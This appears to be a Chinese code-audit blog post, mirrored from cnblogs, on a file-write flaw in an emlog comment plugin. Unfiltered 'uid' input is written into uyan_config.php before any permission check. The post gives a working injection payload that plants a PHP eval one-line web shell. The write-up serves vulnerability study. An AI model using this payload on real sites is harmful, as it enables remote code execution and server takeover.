码迷,mamicode.com
首页 > Web开发 > 详细

PHP代码审计理解(三)---EMLOG某插件文件写入

时间:2019-12-18 16:19:45      阅读:119      评论:0      收藏:0      [点我收藏+]

标签:span   eva   sync   syn   bottom   判断   技术   http   ext   

此漏洞存在于emlog下的某个插件---友言社会化评论1.3。

技术图片

我们可以看到, uyan.php 文件在判断权限之前就可以接收uid参数。并且uid未被安全过滤即写入到了$uyan_code中。

技术图片

我们看一下 $uyan_code 的内容:

 <?php $uyan_code=\‘‘."\r\n".‘<div style="margin-top:15px; clear:both;"></div><!-- UY BEGIN --><div id=uyan_frame></div><script type=text/javascript id="UYScript" async="" src="http://v1.uyan.cc/js/iframe.js?UYUserId=‘
.$uid.
‘"></script><div style="clear:both; margin-bottom:15px;"></div>\‘;?>

我们只需构造uid使得$uyan_code的内容闭合就可以。

技术图片

访问 uyan_config.php 文件,查看是否执行成功。

技术图片

写入一句话: ?uid=‘?><?php @eval($_POST[123]);?>< 

技术图片

PHP代码审计理解(三)---EMLOG某插件文件写入

标签:span   eva   sync   syn   bottom   判断   技术   http   ext   

原文地址:https://www.cnblogs.com/foe0/p/12060188.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!